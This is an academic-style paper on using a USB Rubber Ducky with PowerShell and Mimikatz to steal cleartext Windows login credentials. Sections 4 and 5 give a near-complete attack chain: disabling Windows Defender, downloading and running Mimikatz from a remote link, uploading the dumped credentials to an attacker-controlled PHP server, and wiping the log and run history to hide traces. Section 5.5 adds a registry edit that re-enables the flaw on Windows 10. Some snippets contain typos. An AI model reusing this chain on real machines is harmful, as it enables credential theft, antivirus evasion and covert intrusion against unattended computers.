

# Hacking Experiment Using USB Rubber Ducky Scripting

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## ABSTRACT

By leaving your computer unlocked while you are away for seconds can give hackers all the time they need to obtain your personal information from your computer. This paper aims to detail the necessary research and development of a USB Rubber Ducky script and its implementation to obtain clear text login id and passwords from a Windows machine, in mere seconds. Each stage is laid out discussing applications of Ducky script, powershell, mimikatz, and re-enabling the vulnerability. Details of the attack on Windows 7 operating systems and higher will be presented.

**Keywords:** USB Rubber Ducky, hacking, scripting, powershell, mimikatz, and duck tool kit.

## 1. INTRODUCTION

Nearly every computer, including desktops, laptops, tablets and Smartphone take input from humans via keyboards. This is possible because there is a specification with every ubiquitous USB standard known as Human Interface Device (HID). Practically, this means that any USB device claiming to be a keyboard HID will be automatically detected and accepted by most modern operating systems including Windows, Mac OS, Linux or Android.

The USB interface is generally a dangerous vector for attack. In many organizations, use of USB flash drives is restricted [1] due to their potential for being used as a hacking tool or malware delivery. Examples of USB storage usages to serve as a malware delivery mechanism are provided in various research papers including [3, 7, 8, 9]. Recently an even more insidious form of USB-based attack has emerged known as BadUSB [2, 5]. The BadUSB device registers as multiple device types, allowing the device to take covert actions on the host machine. For example, a USB flash drive could register itself as a device or a keyboard, enabling the ability to inject malicious scripts. This functionality is present in the Rubber Ducky penetration testing tool [4].

Unfortunately, because USB device firmware cannot be scanned by the host machine, antivirus software cannot detect or defend against this attack. According to the authors in [10] this problem is not just limited to suspect flash drives. Any

device that communicates over USB is susceptible to this kind of attack. Moreover, existing USB security solutions, such as white listing individual devices by their serial number, are not adequate when considering malicious firmware that can make spurious claims about its identity during device enumeration.

Standard USB devices are too simplistic to reliably authenticate. Similarly, secure devices with signed firmware that could permit authentication are rare, leaving it unclear how to defend ourselves against this new attack.

One can employ various approaches to penetrate a machine as a hacker or a penetration tester such as social engineering, exploiting vulnerabilities of the system, etc. One of the practical strategies used by the hackers is to plug in a USB stick to a machine. This can be done by using a USB device detected by a victim's computer as a HID (this is called BadUSB) and running the code without the knowledge or consent of the victim. For example, if the user is away for lunch and left his or her computer unattended, the hacker can plug in the USB in the victim's machine for malicious purposes.

Several attempts have been made by researchers to mitigate the dangers of hacking to a machine via BadUSB. One of such methods is provided by Vouteva [14]. The author provided a proof of concept for the feasibility and deployment of BadUSB by using an Arduino Micro [15] as a replacement for a BadUSB.

In this paper, we present the details of our approach in implementing the penetration into a Windows machine via USB Rubber Ducky and scripting. The mechanism allows a hacker to attack an unattended machine and retrieve sensitive information such as user identification and clear text password from the victim machine. We will utilize several tools and technologies such as powershell, mimikatz, scripting language, web server and Ducky toolkit NG.

The rest of this paper is organized as follows. In section 2 we review the literature. Section 3 covers keylogger enabled USB and other hacking mechanisms related to USB. The tools and technologies used in this research are described in section 4. Section 5 details the implementation of our attack method. The conclusion appears in section 7

## 2. LITERATURE REVIEW

In this section we explain some of the previous research in both the areas of using USB as an attack vector and the mechanisms for preventing attacks related to USBs.

At Black Hat 2015, Nohl and Lell presented USB attack scenarios using a BadUSB [11]. The authors demonstrated that it is possible to use a USB to redirect the user's DNS queries to an attacker's DNS server. In a related work Kamkar [12] has shown a Teensy USB microcontroller, configured to install a backdoor and change the DNS settings of an unlocked machine. Recently, another method of using a BadUSB has been developed by Nikhil Mittal (SamratAshok) in a tool called Kautilya [13]. The tool has functionality like information gathering and script executions which leads to hacking the victim machine.

With the aim of mitigating the risks posed by USBs, the authors in [16] built a BadUSB device and tested it in a controlled OS environment. Based on the results of their tests, they made recommendations on how to control the security of a machine.

In another published research paper the authors exploited several USB features to establish a rogue HTTP channel used to leak data stored on the device's disk to an Internet back end [17].

To mitigate the dangers of using keylogger enabled USB, the authors in [18] built a method called USBWall with the aim of preventing an attack. The authors compared their USBWall with other commercially available antivirus products. In their controlled environment, they report that USBWall is comparable to commercial anti-virus software.

## 3. USB KEYLOGGING

Keylogger software has the capability to record every keystroke a user makes to a log file. It can record information such as user id, password, instant messages, and e-mail. Detail of Keyloggers performance and whether they need administrative access to the target machine or not are discussed in [19]. In recent years there has been some hardware development that enhances the task of keylogging. In this section we describe the specification of one of that hardware that we use in this research.

The USB Rubber Ducky has been developed by Hak5 [4]. This USB key includes a 60MHz programmable microcontroller and an SD slot. It behaves like a keyboard and it looks like USB flash drives. It can be easily hidden on a computer's device port. Another feature of this device is that it may be hidden in the task manager; it is assumed that its power consumption may be revealed by physical measurements. However, to use the USB Rubber Ducky we need physical access to the victim's machine and we need to write a malware to be injected into the device.

Computers inherently trust devices that claim to be a HID. It's through these devices that humans interact with and accomplish their daily tasks on all computers including desktops, laptops, tablets, and smart phones. The USB Rubber Ducky is a keyboard emulator disguised within a USB thumb drive case. It has been used by IT professionals, penetration testers and hackers since 2010 and has become the most widely used

commercial keystroke injection attack platform in the business. Combined with its scripting language, malware payloads can be written and deployed.

Many people leave their computers unattended, even if only for a few minutes. These few minutes is all it takes for personal information to be stolen from the victim's machine by a malicious hacker using the USB Rubber Ducky or a similar device. Whether it is a local account or a Microsoft account, vulnerability exists in Windows and many other operating systems. Clear text passwords are stored in the computer's main memory that can be extracted using a program called Mimikatz designed by Benjamin Delpy [22]. One of the many functionality included in mimikatz is the sekurlsa function, which specifically targets logon passwords and hashes.

This research exploits Windows vulnerability utilizing the USB Rubber Ducky. In this project the machine has windows defender for its antivirus. An account is created on the victim's machine and all activities are targeting this account. In the next section we describe the details of the tools and technology needed to construct the malware payload and for launching an attack.

## 4. TOOLS AND TECHNOLOGIES

This section outlines the tools and technologies we used in this research project.

### 4.1 Victim's Machine

For the victim machine we use a physical machine running Windows 7, 64-bits Ultimate Edition with all patches applied and having windows defender as the antivirus software.

### 4.2 USB Ducky Hardware

We used a USB Rubber Ducky for attack media (Hak5 [4]), this looks like a USB flash drive which can be plugged into the victim's machine. The average USB Rubber Ducky includes a 60MHz programmable microcontroller and a SD slot. Some of the features of this device include behaving like a keyboard; it does not show in the task manager and its power consumption may be revealed by physical measurements.

### 4.3 Scripting Language

To write malware payload we use Rubber Ducky scripting language. Writing scripts can be done from any common text editor such as Notepad. Each command must be written on a new line all in caps, and may have options follow. The commands can invoke keystrokes, key-combos or strings of text as well as offering delays or pauses. The two most common commands are DELAY and STRING. DELAY is followed by a number that represents milliseconds. For example, the line "DELAY 2000" instructs the Rubber Ducky to wait 2 full seconds before proceeding to the next line of code. This is extremely important in making sure the script runs smoothly and effectively. Since the Ducky is extremely fast, some computers may not be able to keep up. This command prohibits the Ducky to move faster than the computer will be able to follow. The STRING command instructs Rubber to process the text following STRING. It can accept a single or multiple characters. Also, the command WINDOWS (or GUI) emulates the Windows-key. Figure 1 shows an example of a script [5] which displays Hello World! I am in your PC.




Figure 1- An example of Rubber Script

#### 4.4 Duck Toolkit NG

The Duck Toolkit NG is an open source penetration testing platform that allows users to generate USB Rubber Ducky [23] payloads for use on Windows, Linux, Mac OSX and many other popular operating systems. The Duck Toolkit NG allows us to use pre built payloads, create our own payloads and decode existing payloads. Using the toolkits require administrative access, powershell, and Internet access.

#### 4.5 Powershell

Powershell is an object-oriented programming language and interactive command line shell for Microsoft Windows. Powershell automates system tasks, such as batch processing, and create systems management tools for commonly implemented processes. Figure 2 shows an example of powershell for downloading a file from a website and then executing it [6].

```
DELAY 3000
GUI r
  DELAY 100
  STRING powershell (new-object
System.Net.WebClient).DownloadFile('http://
/example.com/bob.old', '%TEMP%\bob.exe');
  DELAY 100
  STRING Start-Process "%TEMP%\bob.exe"
ENTER
```

Figure 2-Example of a powershell code

#### 4.6 Web Server

Since we are going to execute the malware remotely from the web, we need a web server with PHP capability to upload and download malware executable files.

#### 4.7 Mimikatz

Mimikatz [22] is an open-source utility that enables the viewing of credential information from the Windows LSASS (Local Security Authority Subsystem Service) through its sekurlsa module which includes plaintext passwords and Kerberos tickets and much more. Most antivirus tools will detect the presence of Mimikatz as a threat and delete it, but it is possible to go around that. Mimikatz can be executed both locally from the command line and remotely. To run Mimikatz from the command line, we need mimikatz.exe and sekurlsa.dll on the target machine. This approach is not desirable in this research because we want to be able to use the USB Rubber Ducky and bypass hard drive. To run it remotely, first we need to establish

a connection to the servers, then copy over sekurlsa.dll and run it. Mimikatz tools run on all versions of Windows from XP forward. However, its functionality is somewhat limited in Windows 10. Below is an example of Mimikatz statements that need to be executed in order to look for passwords on a system.

```
privilege::debug
Sekurlsa::logonpasswords
```

### 5. HACKING EXPERIMENT

This section details the process of exploiting Windows vulnerability by creating an attack payload for retrieving user id and password from the victim's machine. For this project, the victim machine will be running Windows 7 with windows defender as its antivirus.

#### 5.1 Using Ducky Script to Create Payload

We used Ducky scripting, which was introduced in section 4.3 and wrote our own malware script in a notepad and saved it as a text file. This text file was then encoded into an inject.bin file. The Following statement converts the script text file to a .bin file.

```
java -jar duckencode.jar -i payload.txt -o
inject.bin
```

Once we created the inject.bin file, we injected it onto the microSD card which was then inserted in the USB Rubber Ducky hardware. At this point the Ducky is ready for the first part of the attack.

#### 5.2 Configuring Mimikatz for File Upload/Download

The next step is to obtain a copy of the Mimikatz executable and upload to a hosting service of your choosing, or your own private webserver. For this project we chose a Google Drive account to upload the executable file. When the file was uploaded we utilized a direct link generator to obtain the download link for the mikimatz as this is how it will download and run from powershell. Uploading the credentials were a little more in-depth. We created a PHP (Figure 3) page on our website to listen to the file coming in, and then save it. This receives the file and saves it in the current directory of the PHP file, with the name of

```
"Credentials_VictimIPAddress_CurrentDa
temimikatz.log".
```

```
<?php
$uploadDir =
'Credentials'."_"."$_SERVER['REMOTE_A
DD']"."_"."date("Y-m-d_H-i-s");
$uploadFile = $uploadDir.basename
($_FILES['file']['name']);
?>
```

Figure 3- PHP file for uploading files to the server

#### 5.3 Required Powershell Script

After the download and upload locations were set, we needed to figure out the powershell scripting required. When the Rubber Ducky is plugged in, we have to get powershell open and running with administrator privileges. For that we must open the run menu with Ducky commands and use this statement:

```
Powershell start-process cmd-verb-runAs
```

```
See Figure 4 below for the complete powershell script
(New-Object
Net.WebClient).UploadFile('http://sp.canno
les.com/up.php', 'mimikatz.log')
del /f mimikatz.log
"Remove-ItemProperty -Path
'HKCU:\Software\Microsoft\Windows\CurrentV
ersion\Explorer\RunMRU' -Name '*' -
ErrorAction SilentlyContinue"
```

Figure 4- Powershell script

Now we have the privileges to continue with our script effectively. However, before we begin downloading and running programs, we first must deal with the antivirus. In this scenario, through a little previous reconnaissance, we know the victim's machine is running only windows defender. The following code will deactivate defenders real time scanning.

```
Set-MpPreference-DiableRealtimeMonitoring
$true
```

We deactivated the defender in the beginning and then changed the variable \$true to \$false, to reenale it when we are done, as to leave no trace.

The Invoke-Expression directive, the New-Object cmdlet, and the DownloadFile/UploadFile methods are needed for the next part. IEX, or Invoke-Expression, is used in powershell to execute rather than echo everything that follows it back in the command line. This is crucial to getting our application to run after we download it. The New-Object cmdlet opens an instance of Microsoft .NET framework. When combined with the WebClient class, it allows sending and receiving to web servers. The DownloadFile and UploadFile allow us to specify where and what gets received and sent. The code in Figure 5 uses the Invoke-Expression to download the Mimikatz executable and run it.

```
IEX (New-Object
System.Net.WebClient).DownloadFile('https:
//drive.google.com/uc?export=download&id=0
B-
N8tg5UKUi_ZmV6bFdQUVAzVzQ', \"$env:temp\mim
ikatz.exe\"); Start-Process
\"$env:temp\mimikatz.exe\"
```

Figure 5-Code for Downloading Mimikatz and executing

After Mimikatz has run, it logs the results in an output file, to get it uploaded the WebClient class must be utilized again as shown below, with the web address given, pointing to the PHP file listening for the upload.

```
(New-Object
Net.WebClient).UploadFile('http://sp.canno
les.com/up.php', 'mimikatz.log')
```

Everything written in the cmd prompt does not get saved and will be erased upon closing it. Unfortunately, the same does not apply to the Mimikatz.log file and the command that was written in the run dialog box. These can be quickly erased with two commands. First, we will use the following to delete the log file of credentials:

```
del /f mimikatz.log
```

Then we needed to clear out the run menu in case our victim ever goes to check it. This can be done utilizing the following code.

```
"Remove-ItemProperty -Path
'HKCU:\Software\Microsoft\Windows\CurrentV
ersion\Explorer\RunMRU' -Name '*' -
ErrorAction SilentlyContinue"
```

This command will delete the history from the windows registry. We are calling it to delete "\*" from the RunMRU path. The "ErrorAction SilentlyContinue" command is a failsafe to ensure the command will continue to execute and ignore it, should an error should arise.

#### 5.4 Mimikatz Support Commands

After we run Mimikatz but before we upload our results via powershell, we must execute a few commands to obtain the credentials we want. Mimikatz will open in a new prompt window which will allow us to continue passing the STRING command through the Ducky to output commands. These commands are:

```
"Log", "privilege::debug" and
"sekurlsa::logonpasswords"
```

Log will create the .log file in the default location, and prompt Mimikatz to record everything outputted. "privilege::debug" is necessary to give Mimikatz the permissions it needs to pull credentials from memory. Lastly, "sekurlsa::logonpasswords" calls the sekurlsa function in Mimikatz. Once it is completed after the DELAY has passed, we will instruct the Ducky to key "ALT F4" closing the Mimikatz window and returning us to the powershell prompt.

At this stage the powershell has been written, files are ready for download and upload, and mimikatz commands are set. Next we encode the code into an inject.bin file, and place the MicroSD inside the Rubber Ducky. Once it is plugged into a machine, it will automatically run and victim's login credential and password are retrieved in clear text. The result of execution of the malware is shown in Figure 6 below.

Using 'mimikatz.log' for logfile : OK

```
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 1041792 (00000000:000fe580)
Session           : Interactive from 2
User Name         : testd
Domain            : DESKTOP-K2139L1
Logon Server      : (null)
Logon Time        : 12/3/2016 5:27:43 PM
SID               : S-1-5-21-3101149797-661067569-954633636-1002

msv :
[00000005] Primary
* Username : testdummy8585@hotmail.com
* Domain   : MicrosoftAccount
* NTLM     : 7051e500c8ec4d96148a1e3240ef90f5
* SHA1     : bb763770fc0ca2eabd8499522de0eee48306b439
tspkg :
wdigest :
* Username : testdummy8585@hotmail.com
* Domain   : MicrosoftAccount
* Password : Dummydummy
kerberos :
* Username : testdummy8585@hotmail.com
* Domain   : MicrosoftAccount
* Password : (null)
ssp :
credman :
```

Figure 6- Screenshot shows id and password

### 5.5. Attacks on Windows 10 Machine

As can be seen in Figure 6, the username testdummy8585@hotmail.com and password Dummydummy have been retrieved in clear-text.

After Windows 7, Microsoft changed the way that their operating system handled passwords. This vulnerability is not easily exploitable on Windows 10 without a registry edit. Due to the unique platform of attack, since we have physical access to the system, we can make a registry edit and allow this vulnerability to be exploited again.

Because the way Windows registry works, performing this all in one attack is very difficult. Therefore, on Windows 10, this attack must be split into two parts.

In the first part we have to edit the Windows Registry to enable the vulnerability in Windows 10 and make it susceptible to the second part, which is the attack we have already created. Once we make the registry edit, the Windows account must be locked, signed out, or restarted before the registry changes go into effect. We utilized the "reg add" command to recreate the registry value that Microsoft has removed, and setting its value to "1" for true.

Once we add this value and the account is logged into once again, logon passwords will be stored in memory. The Ducky script for this part is quite similar but shorter than the previous script. We ran powershell as an administrator again, then performed the proper registry edit, and then launched the attack similar to the one we did before. Similar to Windows 7, we were able to retrieve the user's credentials from the memory.

## 6. CONCLUSIONS

In this paper we demonstrated the process of writing a malware payload which can exploit Windows vulnerability to launch an attack on a victim's machine. The payload can be executed from the victim's machine or remotely. Our aim in this project was to launch the attack remotely targeting a Windows 7 machine. To create the malware and launch the attack, we utilized various tools, such as USB Rubber Ducky, scripting language, powersehll, mimikatz, Ducky toolkit NG and a web server account.

For Windows 10 machine, we had to take an extra step of editing the registry to create the vulnerability that existed in Windows 7. However, in both cases of Windows 7 and 10 the malware was injected into a USB Rubber Ducky device, the device was attached to the victim's machine, and the payload was executed remotely. As a result, we were able to retrieve the victim's user id and password from the memory of the victim's computer.

## 7. FUTURE RESEARCH

This project can be extended I several ways: 1) instead of running remotely, one can run the payload locally. 2) More analysis of main memory and looking for more information. 3) More experiment with Windows 10 and looking for other possible implementations rather than editing the registry.

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